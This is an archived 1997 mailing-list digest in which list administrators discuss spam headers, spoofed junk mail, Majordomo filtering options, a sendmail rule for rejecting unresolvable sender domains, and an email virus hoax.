- -- > Gary Klass > gmklass@ilstu.edu > Department of Political Science > Illinois State University > Normal Illinois 61790-4699 > > ------------------------------ > > Date: Thu, 3 Apr 1997 23:48:19 -0800 (PST) > From: Joe Smith > Subject: Cyberpromo e-mail headers > > I got a bounce message from mail addressed to a person who had not worked > here since 1991. I had not seen this particular type of header from > cyberpromo before. > > ----- Message header follows ----- > Return-Path: > Received: by tymix.Tymnet.COM (4.1/SMI-4.1) > id AA21511; Thu, 3 Apr 97 20:06:27 PST > Received: from 205.199.212.34 > by tymix.Tymnet.COM (in.smtpd); 3 Apr 0 20:06:27 PDT > Received: from Cyber Promotions' new "ISPam Network" - Details > at http://www.cyberpromo.com > From: ginette@savetrees.com > X-Shocking-Web-Page: Visit http://www.cyberpromo.com > X-Please-Note: THIS SERVER RELAYS MAIL FROM OTHER SOURCES ONLY! > To: dreamfactory@ginette.com > Subject: $FREEDOM$ > Reply-To: ginette@savetrees.com > Date: today > Comments: Authenticated sender is > Received: from savetrees.com (savetrees.com [000.000.000.000]) by savetrees.com (0.0.0./0.0.0.) with SMTP id AAA000000 for ; Thu, 3 Apr 1997 19:26:23 -0500 (EST) > Message-Id: 0000000000.AAA000@savetrees.com > X-Uidl: 88789179912968814279284189728723 > ----- Message header ends ----- > > Note the "Date:" and "X-" headers. > -Joe > > ------------------------------ > > End of List-Managers-Digest V6 #75 > ********************************** > > To unsubscribe from List-Managers-Digest, send the following command > in the body of a message to "Majordomo@GreatCircle.COM": > > unsubscribe list-managers-digest > > If you want to subscribe or unsubscribe an address other than the > account the mail is coming from, such as a local redistribution list, > then append that address to the command; for example, to subscribe > "local-list-managers": > > subscribe list-managers-digest local-list-managers@your.domain.net > > A non-digest (direct mail) version of this list is also available; to > subscribe to that instead, replace all instances of "list-managers-digest" > in the commands above with "list-managers". > > Compressed back issues are available for anonymous FTP from > FTP.GreatCircle.COM, in pub/list-managers/digest/vNN.nMMM.Z (where "NN" > is the volume number, and "MMM" is the issue number). From owner-list-managers-outgoing Sat Apr 5 19:49:52 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id TAA13224 for list-managers-outgoing; Sat, 5 Apr 1997 19:40:50 -0800 (PST) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id TAA13205 for list-managers@greatcircle.com; Sat, 5 Apr 1997 19:40:45 -0800 (PST) Received: from mail1y-int.prodigy.net (mail1y-ext.prodigy.net [198.83.19.113]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id MAA24017 for ; Fri, 4 Apr 1997 12:15:56 -0800 (PST) Received: from grayling.fishy.net ([172.16.3.90]) by mail1y-int.prodigy.net (8.7.5/8.7.3) with SMTP id PAA83860 for ; Fri, 4 Apr 1997 15:14:26 -0500 Date: Fri, 4 Apr 1997 15:14:26 -0500 Message-Id: <199704042014.PAA83860@mail1y-int.prodigy.net> X-Sender: bonnie@pop.fishy.net X-Mailer: Windows Eudora Pro Version 2.1.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: List-Managers@GreatCircle.COM From: Bonnie Scott Subject: Re: Cyberpromo e-mail headers Sender: list-managers-owner@GreatCircle.COM Precedence: bulk I'll bet they don't save any log files either. Bonnie Scott At 11:48 PM 4/3/97 -0800, Joe Smith wrote: > ----- Message header follows ----- >Return-Path: >Received: by tymix.Tymnet.COM (4.1/SMI-4.1) > id AA21511; Thu, 3 Apr 97 20:06:27 PST >Received: from 205.199.212.34 > by tymix.Tymnet.COM (in.smtpd); 3 Apr 0 20:06:27 PDT >Received: from Cyber Promotions' new "ISPam Network" - Details > at http://www.cyberpromo.com >From: ginette@savetrees.com >X-Shocking-Web-Page: Visit http://www.cyberpromo.com >X-Please-Note: THIS SERVER RELAYS MAIL FROM OTHER SOURCES ONLY! >To: dreamfactory@ginette.com >Subject: $FREEDOM$ >Reply-To: ginette@savetrees.com >Date: today >Comments: Authenticated sender is >Received: from savetrees.com (savetrees.com [000.000.000.000]) by savetrees.com (0.0.0./0.0.0.) with SMTP id AAA000000 for ; Thu, 3 Apr 1997 19:26:23 -0500 (EST) >Message-Id: 0000000000.AAA000@savetrees.com >X-Uidl: 88789179912968814279284189728723 > ----- Message header ends ----- > >Note the "Date:" and "X-" headers. > -Joe From owner-list-managers-outgoing Sat Apr 5 20:19:24 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id UAA16018 for list-managers-outgoing; Sat, 5 Apr 1997 20:14:46 -0800 (PST) Received: from sparkie.gnofn.org (sparkie.gnofn.org [206.27.168.35]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id UAA16010 for ; Sat, 5 Apr 1997 20:14:39 -0800 (PST) Received: from sparkie.gnofn.org (sparkie.gnofn.org [206.27.168.35]) by sparkie.gnofn.org (8.7.Beta.10/8.7.Beta.10) with SMTP id WAA14464 for ; Sat, 5 Apr 1997 22:13:26 -0600 (CST) Date: Sat, 5 Apr 1997 22:13:25 -0600 (CST) From: "Your friend at:" cc: List-Managers@GreatCircle.COM Subject: Majordomo In-Reply-To: <199704042014.PAA83860@mail1y-int.prodigy.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Dear Friends, I have tried to download majordomo but I can't seem to get it installed. Any suggestions? Sincerely, Christopher <><><><><><><><><><><><><><><><><><><><><><><><><> (Bhagavad Gita 2.51) From owner-list-managers-outgoing Sat Apr 5 23:34:52 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id XAA03395 for list-managers-outgoing; Sat, 5 Apr 1997 23:31:47 -0800 (PST) Received: from magpie.com (magpie.com [206.138.212.31]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id XAA03388 for ; Sat, 5 Apr 1997 23:31:40 -0800 (PST) Received: from ripley (ripley.magpie.com [192.0.1.2]) by magpie.com (8.8.5/8.7.3) with SMTP id DAA16803 for ; Sun, 6 Apr 1997 03:29:42 -0400 Message-Id: <3.0.32.19970406032454.00bbfe80@192.0.1.6> X-Sender: manes@192.0.1.6 X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Sun, 06 Apr 1997 03:24:55 -0400 To: List-Managers@GreatCircle.COM From: Steve Manes Subject: Digest headers Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: list-managers-owner@GreatCircle.COM Precedence: bulk At 01:00 AM 4/5/97 -0800, you wrote: >PLEASE CANCEL THIS SUBSCRIPTION.I AM CURRENTLY BOOGED DOWN WITH EMAIL. >THANKS. >TROY > > >List-Managers-Digest wrote: >> >> List-Managers-Digest Friday, April 4 1997 Volume 06 : Number 075 >> >> In this issue: >> ----[ digest header removed ]---------------------------------- May I suggest a new feature to the next revision of Majorodomo? How about something to scan for occurances of message_fronter and message_footer in any post to prevent this kind of bandwidth-sucking feedback? I've kludged something to do this on my Majordomo but I'm sure you guys could come up with something more elegant. Also, an optional feature to bounce posts which slurp in the default Subject: of an outgoing digest, i.e. "Subject: re: List-Managers-Digest V6 #76". The latter trashes up threads in reposts to bridged newsgroups. -----------------------[ http://www.magpie.com ]-----------=o&>o--------- Steve Manes | Int'l Bass Players | for info, email manes@magpie.com | NYC Motorcyclists | server@magpie.com with 94 Harley-Davidson FLHR | Triumph MC Owners | the message text, "lists" 95 Triumph Super III | Motorcycle Safety | 97 Triumph T595 | | N'Yawk, N'Yawk From owner-list-managers-outgoing Sun Apr 6 01:06:05 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id AAA08268 for list-managers-outgoing; Sun, 6 Apr 1997 00:51:44 -0800 (PST) Received: from iquest3.iquest.net (iquest3.iquest.net [206.246.190.103]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id AAA08261 for ; Sun, 6 Apr 1997 00:51:39 -0800 (PST) Received: (qmail 8747 invoked by uid 15018); 6 Apr 1997 08:50:25 -0000 MBOX-Line: From aen Sun Apr 6 03:50 EST 1997 >Received: (from alt@localhost) by aen.aen.org (8.6.12/8.6.12) id DAA05511; Sun, 6 Apr 1997 03:16:42 -0500 Date: Sun, 6 Apr 1997 03:16:42 -0500 (EST) From: Al Thompson To: "Your friend at:" cc: List-Managers@GreatCircle.COM Subject: Re: Majordomo In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk On Sat, 5 Apr 1997, Your friend at: wrote: > > Dear Friends, > > I have tried to download majordomo but I can't seem to get it > installed. Any suggestions? Sure! Try again! From owner-list-managers-outgoing Sun Apr 6 11:34:18 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA18248 for list-managers-outgoing; Sun, 6 Apr 1997 11:30:26 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id LAA18239 for ; Sun, 6 Apr 1997 11:30:20 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id NAA06347; Sun, 6 Apr 1997 13:29:05 -0500 (CDT) To: Steve Manes Cc: List-Managers@GreatCircle.COM Subject: Re: Digest headers References: <3.0.32.19970406032454.00bbfe80@192.0.1.6> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 06 Apr 1997 13:29:04 -0500 In-Reply-To: Steve Manes's message of Sun, 06 Apr 1997 03:24:55 -0400 Message-ID: Lines: 20 X-Mailer: Gnus v5.4.40/Emacs 19.34 Sender: list-managers-owner@GreatCircle.COM Precedence: bulk >>>>> "SM" == Steve Manes writes: SM> May I suggest a new feature to the next revision of Majorodomo? You'd be way better off asking on one of the Majordomo lists. This is not the place. SM> How about something to scan for occurances of message_fronter and SM> message_footer in any post to prevent this kind of bandwidth-sucking SM> feedback? It's already in there. See taboo_body. SM> Also, an optional feature to bounce posts which slurp in the default SM> Subject: of an outgoing digest, i.e. "Subject: re: List-Managers-Digest SM> V6 #76". See taboo_headers. - J< From owner-list-managers-outgoing Sun Apr 6 11:49:29 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA20098 for list-managers-outgoing; Sun, 6 Apr 1997 11:48:38 -0700 (PDT) Received: from thyme (thyme.finesse.com [140.174.171.1]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id LAA20091 for ; Sun, 6 Apr 1997 11:48:32 -0700 (PDT) Received: by thyme (SMI-8.6/SMI-SVR4) id LAA20548; Sun, 6 Apr 1997 11:48:19 -0700 Date: Sun, 6 Apr 1997 11:48:19 -0700 From: marym@Finesse.COM (Mary Morris) Message-Id: <199704061848.LAA20548@thyme> To: List-Managers@GreatCircle.COM Subject: Questions X-Sun-Charset: US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk I'm looking to acquire a version of sendmail that allows me to configure it to refuse email where the return address is a non-existant domain. Does such a beast exist? If so, how is it accomplished? Thanks in advance Mary Morris From owner-list-managers-outgoing Sun Apr 6 14:49:21 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA04215 for list-managers-outgoing; Sun, 6 Apr 1997 14:46:42 -0700 (PDT) Received: from pool.pipex.net (pool.pipex.net [158.43.128.24]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id OAA04208 for ; Sun, 6 Apr 1997 14:46:35 -0700 (PDT) Received: (qmail 29850 invoked from smtpd); 6 Apr 1997 21:45:22 -0000 Received: from pool.pipex.net (HELO pool.uunet.pipex.com) (158.43.128.24) by pool.pipex.net with SMTP; 6 Apr 1997 21:45:22 -0000 Date: Sun, 6 Apr 1997 22:45:21 +0100 (BST) From: Chuck Foster X-Sender: chuck@pool.uunet.pipex.com To: Mary Morris cc: List-Managers@GreatCircle.COM Subject: Re: Questions In-Reply-To: <199704061848.LAA20548@thyme> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk On Sun, 6 Apr 1997, Mary Morris wrote: > I'm looking to acquire a version of sendmail that allows me > to configure it to refuse email where the return address is > a non-existant domain. Does such a beast exist? If so, how > is it accomplished? Any recent sendmail (certainly 8.0+) should be able to do this, if you use a V2 or above configuration file. The example below could be a different ruleset which you could call from elsewhere. I also assume here that your general rules don't want a dot on the end, but if they do simply add that on the end of the second line for returning. # This line makes the address canonical R$+@$+ $:$1@$[$2$] # If the address was valid, it has a dot on the end, so return without it R$+@$+. $@$1@$2 # Otherwise it couldn't be resolved, so bounce it. R$+@$+ $#error $: Erm, $2 is not a known domain I'm not sure what happens if your sendmail cannot resolve the address at that time - I would imagine it would bounce it. Use it at your own risk! Hope that made some sense! Best Wishes Chuck From owner-list-managers-outgoing Mon Apr 7 01:35:08 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id BAA03999 for list-managers-outgoing; Mon, 7 Apr 1997 01:20:58 -0700 (PDT) Received: from magpie.com (magpie.com [206.138.212.31]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id BAA03923 for ; Mon, 7 Apr 1997 01:20:32 -0700 (PDT) Received: from ripley (ripley.magpie.com [192.0.1.2]) by magpie.com (8.8.5/8.7.3) with SMTP id EAA09046 for ; Mon, 7 Apr 1997 04:18:52 -0400 Message-Id: <3.0.32.19970407041352.00ada9a0@192.0.1.6> X-Sender: manes@192.0.1.6 X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Mon, 07 Apr 1997 04:13:53 -0400 To: List-Managers@GreatCircle.COM From: Steve Manes Subject: taboor_headers Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: list-managers-owner@GreatCircle.COM Precedence: bulk >From: Jason L Tibbitts III >It's already in there. See taboo_body. >See taboo_headers. You missed the point. Taboo_headers requires manually entering in unwanted strings which in this case Majordomo's 'resend' program has already loaded and already knows. -----------------------[ http://www.magpie.com ]-----------=o&>o--------- Steve Manes | Int'l Bass Players | for info, email manes@magpie.com | NYC Motorcyclists | server@magpie.com with 94 Harley-Davidson FLHR | Triumph MC Owners | the message text, "lists" 95 Triumph Super III | Motorcycle Safety | 97 Triumph T595 | | N'Yawk, N'Yawk From owner-list-managers-outgoing Mon Apr 7 11:18:10 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA07502 for list-managers-outgoing; Mon, 7 Apr 1997 10:57:55 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id KAA07454 for ; Mon, 7 Apr 1997 10:57:42 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id MAA04744; Mon, 7 Apr 1997 12:56:15 -0500 (CDT) To: Steve Manes Cc: List-Managers@GreatCircle.COM Subject: Re: taboor_headers References: <3.0.32.19970407041352.00ada9a0@192.0.1.6> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 07 Apr 1997 12:56:15 -0500 In-Reply-To: Steve Manes's message of Mon, 07 Apr 1997 04:13:53 -0400 Message-ID: Lines: 19 X-Mailer: Gnus v5.4.40/Emacs 19.34 Sender: list-managers-owner@GreatCircle.COM Precedence: bulk >>>>> "SM" == Steve Manes writes: SM> You missed the point. Not at all. SM> Taboo_headers requires manually entering in unwanted strings which in SM> this case Majordomo's 'resend' program has already loaded and already SM> knows. No, it gives you the flexibility to cook up expressions that would let Majordomo recognize your fronters or footers even in the face of quoting, line wrapping, or other mangling. A simple match wouldn't do it, and Majordomo has no idea of what in your footers is unique enough to match on. But, like I said, this is not the place to discuss it. - J< From owner-list-managers-outgoing Mon Apr 7 15:51:04 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA13538 for list-managers-outgoing; Mon, 7 Apr 1997 15:25:49 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id PAA13519 for list-managers@greatcircle.com; Mon, 7 Apr 1997 15:25:41 -0700 (PDT) Received: from outlawnet.com (outlawnet.com [204.245.248.202]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id NAA26070; Mon, 7 Apr 1997 13:17:41 -0700 (PDT) Received: from [163.185.20.230] ([163.185.20.230]) by outlawnet.com (8.7.5/8.7.3) with ESMTP id NAA06979; Mon, 7 Apr 1997 13:17:14 -0700 (PDT) X-Sender: garyb@outlawnet.com Message-Id: In-Reply-To: <199704020900.BAA12316@honor.greatcircle.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 7 Apr 1997 14:16:53 -0600 To: Brent@GreatCircle.COM From: Gary Bickford Subject: Re: List-Managers-Digest V6 #73 Cc: list-managers-digest@GreatCircle.COM Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Brent, >We've had some success using a front-end filter for Majordomo that blocks [snip] Thanks for the great work, and the great tool! Just thought you'd like to hear something once in a while. PS - I sent mail to the list-managers list a few weeks ago, offering to set up and run a database of problem domains/users, if folks would help figure out just what it should contain. There's some obvious difficulties and complexities. I was thinking of a kind of clearinghouse that would be able to keep pretty close to up-to-the minute based on input from selected master users. I posted it twice, but to my knowledge it never appeared (I get the digest, so I miss things sometimes). Maybe somebody thought this was a hoax. The offer still stands - I run mSQL (http://www.hughes.com.au), and I/we can make it accessible only from approved hosts either via the web, or via a connection on a particular port if you want to make it accessible from within majordomo. Or, if you'd rather, I can help you set something like this up at Great Circle. GB From owner-list-managers-outgoing Mon Apr 7 15:58:28 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA13407 for list-managers-outgoing; Mon, 7 Apr 1997 15:24:52 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970308-1) id PAA13399 for list-managers@greatcircle.com; Mon, 7 Apr 1997 15:24:49 -0700 (PDT) Received: from epona.sugar-land.oilfield.slb.com. (epona.sugar-land.oilfield.slb.com [163.185.167.200]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id HAA13500 for ; Mon, 7 Apr 1997 07:57:18 -0700 (PDT) Received: by epona.sugar-land.oilfield.slb.com. (SMI-8.6/SMI-SVR4) id JAA25945; Mon, 7 Apr 1997 09:59:00 -0500 Date: Mon, 7 Apr 1997 09:59:00 -0500 From: garyb@epona.sugar-land.oilfield.slb.com (Gary Bickford) Message-Id: <199704071459.JAA25945@epona.sugar-land.oilfield.slb.com.> Subject: Re: Spoofed junk mail To: list-managers@greatcircle.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-MD5: 9aAmPAXGGLdCUJQDHPRzSg== Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Folks, We just got spoofed in a junk mail attack. Does this look familiar to anyone? I included the first few lines, only for identification. Needless to say, there's nobody at this company with the email hab GB PS - Please >>>Return-Path: >>>Received: from relay7.UU.NET ([192.48.96.17]) by stats.tcd.ie (4.1/SMI-4.1) >>> id AA20262; Fri, 4 Apr 97 22:30:18 BST >>>Received: from default by relay7.UU.NET with SMTP >>> (peer crosschecked as: Cust14.Max19.New-Orleans.LA.MS.UU.NET >>>[153.34.209.14]) >>> id QQcjwg04613; Fri, 4 Apr 1997 16:43:00 -0500 (EST) >>>Date: Fri, 4 Apr 1997 16:43:00 -0500 (EST) >>>Message-Id: >>>From: Harvey >>>To: XXXXXXXXXX >>>Subject: STARCH BLOCKER >>>Mime-Version: 1.0 >>>Content-Type: text/plain; charset="us-ascii" >>>Content-Transfer-Encoding: 7bit >>> >>> >>> I've sent this to a LOT of people today and thought you'd like >>> to see it also. >>> >>> ********************************************************************** >>> This message is a one time delivery. >>> You have NOT been added to any list and will NOT be contacted again. >>> ********************************************************************** >>> >>> >>> >>> For a free tape on Starch Blocker, >>> hit reply, type "SEND STARCH BLOCKER TAPE" in the Subject Field, >>> and fill out the following info completely: From owner-list-managers-outgoing Mon Apr 7 16:27:12 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA17574 for list-managers-outgoing; Mon, 7 Apr 1997 16:14:07 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id QAA17501 for ; Mon, 7 Apr 1997 16:13:50 -0700 (PDT) Received: from sacusr.mp.usbr.gov (sacusr.mp.usbr.gov [140.214.12.2]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with SMTP id QAA22022 for ; Mon, 7 Apr 1997 16:14:51 -0700 (PDT) Received: by sacto.mp.usbr.gov (MX V4.2A VAX) id 44; Mon, 07 Apr 1997 16:12:00 PDT Date: Mon, 07 Apr 1997 16:11:58 PDT From: "Henry W. Miller" To: garyb@epona.sugar-land.oilfield.slb.com CC: list-managers@greatcircle.com, henrym@sacto.mp.usbr.gov Message-ID: <009B26F6.E1C2558E.44@sacto.mp.usbr.gov> Subject: Re: Spoofed junk mail Sender: list-managers-owner@GreatCircle.COM Precedence: bulk > From: MX%"garyb@epona.sugar-land.oilfield.slb.com" "Gary Bickford" 7-APR-1997 16:06:16.46 > Subj: Re: Spoofed junk mail Gary, Well, the host name and IP address are the time that MSN "leases" from uunet. Maybe you should try complaining to MSN and uunet. -HWM > Folks, > We just got spoofed in a junk mail attack. Does this look familiar to anyone? > I included the first few lines, only for identification. > > Needless to say, there's nobody at this company with the email hab > GB > PS - Please > > >>>Return-Path: > >>>Received: from relay7.UU.NET ([192.48.96.17]) by stats.tcd.ie (4.1/SMI-4.1) > >>> id AA20262; Fri, 4 Apr 97 22:30:18 BST > >>>Received: from default by relay7.UU.NET with SMTP > >>> (peer crosschecked as: Cust14.Max19.New-Orleans.LA.MS.UU.NET > >>>[153.34.209.14]) > >>> id QQcjwg04613; Fri, 4 Apr 1997 16:43:00 -0500 (EST) > >>>Date: Fri, 4 Apr 1997 16:43:00 -0500 (EST) > >>>Message-Id: > >>>From: Harvey > >>>To: XXXXXXXXXX > >>>Subject: STARCH BLOCKER > >>>Mime-Version: 1.0 > >>>Content-Type: text/plain; charset="us-ascii" > >>>Content-Transfer-Encoding: 7bit > >>> > >>> > >>> I've sent this to a LOT of people today and thought you'd like > >>> to see it also. > >>> > >>> ********************************************************************** > >>> This message is a one time delivery. > >>> You have NOT been added to any list and will NOT be contacted again. > >>> ********************************************************************** > >>> > >>> > >>> > >>> For a free tape on Starch Blocker, > >>> hit reply, type "SEND STARCH BLOCKER TAPE" in the Subject Field, > >>> and fill out the following info completely: > From owner-list-managers-outgoing Tue Apr 8 03:06:46 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id CAA19326 for list-managers-outgoing; Tue, 8 Apr 1997 02:37:14 -0700 (PDT) Received: from hyperreal.com (taz.hyperreal.com [204.152.144.36]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id CAA19319 for ; Tue, 8 Apr 1997 02:36:43 -0700 (PDT) Received: from localhost (brian@localhost) by hyperreal.com (8.8.4/8.8.4) with SMTP id CAA01020 for ; Tue, 8 Apr 1997 02:35:24 -0700 (PDT) Date: Tue, 8 Apr 1997 02:35:24 -0700 (PDT) From: Brian Behlendorf To: list-managers@greatcircle.com Subject: AOL down, list-bombers to blame? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk AOL mail servers have been refusing connections from my neck of the woods since 9am PST Monday morning. I've also seen a huge spike in the number of mailing-list-svbscribe-bombs being lobbied at AOL users today. Coincidence? Brian --=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-- brian@hyperreal.com http://www.apache.org http://www.organic.com/jobs From owner-list-managers-outgoing Tue Apr 8 07:53:03 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA09230 for list-managers-outgoing; Tue, 8 Apr 1997 07:36:07 -0700 (PDT) Received: from sacusr.mp.usbr.gov (sacusr.mp.usbr.gov [140.214.12.2]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id HAA09155 for ; Tue, 8 Apr 1997 07:35:47 -0700 (PDT) Received: by sacto.mp.usbr.gov (MX V4.2A VAX) id 47; Tue, 08 Apr 1997 07:33:33 PDT Date: Tue, 08 Apr 1997 07:33:31 PDT From: "Henry W. Miller" To: garyb@epona.sugar-land.oilfield.slb.com CC: list-managers@greatcircle.com, henrym@sacto.mp.usbr.gov Message-ID: <009B2777.9F7581DE.47@sacto.mp.usbr.gov> Subject: Re: Spoofed junk mail Sender: list-managers-owner@GreatCircle.COM Precedence: bulk > From: MX%"garyb@epona.sugar-land.oilfield.slb.com" "Gary Bickford" 8-APR-1997 07:16:15.93 > Subj: Re: Spoofed junk mail Gary, > Folks, here's some more information re our little spam problem. This may be a > little long, but I thought it might be useful to somebody out there. If > nothing else, it shows the mentality. Names have been removed to protect the > innocent. > > Looks like I'll have to start reading newsgroups again. PS - What's UCE? AFAIK - "Unsolicited Commercial Email". > GB > -HWM From owner-list-managers-outgoing Tue Apr 8 16:07:57 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA24064 for list-managers-outgoing; Tue, 8 Apr 1997 15:56:42 -0700 (PDT) Received: from random.tpgi.com.au (random.tpgi.com.au [203.12.160.7]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id PAA24042 for ; Tue, 8 Apr 1997 15:56:24 -0700 (PDT) Received: from elec_eng_laptop ([156.50.106.96]) by random.tpgi.com.au (8.8.4/8.8.4) with SMTP id IAA20790 for ; Wed, 9 Apr 1997 08:54:35 +1000 (EST) Date: Wed, 9 Apr 1997 08:54:35 +1000 (EST) Message-Id: <199704082254.IAA20790@random.tpgi.com.au> X-Sender: rmanthe@bri-mail.tpgi.com.au X-Mailer: Windows Eudora Version 2.0.3 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: list-managers@GreatCircle.COM From: RibMan@tpgi.com.au (Rob «RibMan») Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Subject: FW: Toni Kawada: Internet Virus !!!! Please Read. (fwd) >THIS INFORMATION WAS RECEIVED THIS MORNING FROM IBM, PLEASE SHARE IT >ENTITLED "PENPAL GREETINGS!" This message appears to be a friendly I presume this is puke. Is there a site dedicated to declaring genuine and non-genuine viruses? Rob From owner-list-managers-outgoing Tue Apr 8 17:22:02 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA00559 for list-managers-outgoing; Tue, 8 Apr 1997 16:54:15 -0700 (PDT) Received: from colossus.arl.mil ([131.218.204.98]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id QAA00525 for ; Tue, 8 Apr 1997 16:53:54 -0700 (PDT) Received: from [131.218.204.98] by colossus.arl.mil with ESMTP (Apple Internet Mail Server 1.1.1); Tue, 8 Apr 1997 19:58:52 -0400 Message-Id: In-Reply-To: <199704082254.IAA20790@random.tpgi.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Organization: Little to None X-Mailer: Eudora 3.0 for Cray Y-MP Date: Tue, 8 Apr 1997 19:58:15 -0400 To: List-Managers@GreatCircle.COM From: Vince Sabio Subject: Re: Virus Hoaxes Sender: list-managers-owner@GreatCircle.COM Precedence: bulk ** Sometime around 08:54 +1000 4/9/97, Rob «RibMan» said: >I presume this is puke. Is there a site dedicated to declaring genuine and >non-genuine viruses? See DOE's Computer Incident Advisory Capability web page: Skip down to "Internet Hoaxes." And yes, it mentions "Penpal Greetings," along with a host of others that we've all grown to know and love. - Vince Sabio orionsoft@telephonet.com -- If you run a mailing list and are tired of manually processing mail bounces, then you probably need SmartBounce. For more information, send a blank email to . -- Because The Only GOOD Spammer is a DEAD Spammer From owner-list-managers-outgoing Tue Apr 8 17:36:58 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA01116 for list-managers-outgoing; Tue, 8 Apr 1997 16:58:16 -0700 (PDT) Received: from casti.com (vector.casti.com [199.181.80.100]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id QAA01088 for ; Tue, 8 Apr 1997 16:58:03 -0700 (PDT) Received: by casti.com (8.6.9/NX3.0M) id SAA11536; Tue, 8 Apr 1997 18:56:41 -0500 Date: Tue, 8 Apr 1997 18:56:40 -0500 (GMT-0500) From: "Bill Casti, CQA (Moderator)" X-Sender: help@vector.casti.com To: Rob «RibMan» cc: list-managers@GreatCircle.COM Subject: Re: your mail In-Reply-To: <199704082254.IAA20790@random.tpgi.com.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Yes, it's a hoax (and an OLD one at that). Try these sites: =09 http://ciac.llnl.gov/ciac/CIACHoaxes.html http://www.kumite.com/myths/ http://www.av.ibm.com/BreakingNews/HypeAlert/ http://www.av.ibm.com/BreakingNews/VirusAlert/ Regards. Bill 